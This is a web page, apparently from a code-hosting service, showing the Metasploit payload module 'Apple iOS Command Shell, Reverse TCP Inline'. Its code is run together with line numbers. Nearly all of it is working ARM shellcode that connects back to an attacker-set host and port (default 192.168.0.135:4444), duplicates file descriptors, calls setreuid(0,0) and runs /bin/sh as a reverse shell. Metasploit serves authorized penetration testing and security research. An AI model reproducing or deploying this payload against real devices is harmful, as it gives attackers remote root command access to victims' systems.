Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 152910include Msf::Payload::Single11include Msf::Payload::Osx12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Apple iOS Command Shell, Reverse TCP Inline',17'Description' => 'Connect back to attacker and spawn a command shell',18'Author' => 'hdm',19'License' => MSF_LICENSE,20'Platform' => 'osx',21'Arch' => ARCH_ARMLE,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShellUnix,24'Payload' =>25{26'Offsets' =>27{28'LPORT' => [ 30, 'n' ],29'LHOST' => [ 32, 'ADDR' ],30},31'Payload' =>32[33# socket340xe3a00002, # mov r0, #0x2350xe3a01001, # mov r1, #0x1360xe3a02006, # mov r2, #0x6370xe3a0c061, # mov r12, #0x61380xef000080, # swi 128390xe1a0a000, # mov r10, r0400xeb000001, # bl _konnect4142# port 4444430x5c110200,4445# host 192.168.0.135460x8700a8c0,4748# connect490xe1a0000a, # mov r0, r10500xe1a0100e, # mov r1, lr510xe3a02010, # mov r2, #0x10520xe3a0c062, # mov r12, #0x62530xef000080, # swi 1285455# setup dup2560xe3a05002, # mov r5, #0x25758# dup2590xe3a0c05a, # mov r12, #0x5a600xe1a0000a, # mov r0, r10610xe1a01005, # mov r1, r5620xef000080, # swi 128630xe2455001, # sub r5, r5, #0x1640xe3550000, # cmp r5, #0x0650xaafffff8, # bge _dup26667# setreuid(0,0)680xe3a00000, # mov r0, #0x0690xe3a01000, # mov r1, #0x0700xe3a0c07e, # mov r12, #0x7e710xef000080, # swi 1287273# execve740xe0455005, # sub r5, r5, r5750xe1a0600d, # mov r6, sp760xe24dd020, # sub sp, sp, #0x20770xe28f0014, # add r0, pc, #0x14780xe4860000, # str r0, [r6], #0790xe5865004, # str r5, [r6, #4]800xe1a01006, # mov r1, r6810xe3a02000, # mov r2, #0x0820xe3a0c03b, # mov r12, #0x3b830xef000080, # swi 1288485# /bin/sh860x6e69622f,870x0068732f88].pack("V*")89}90))91end92end939495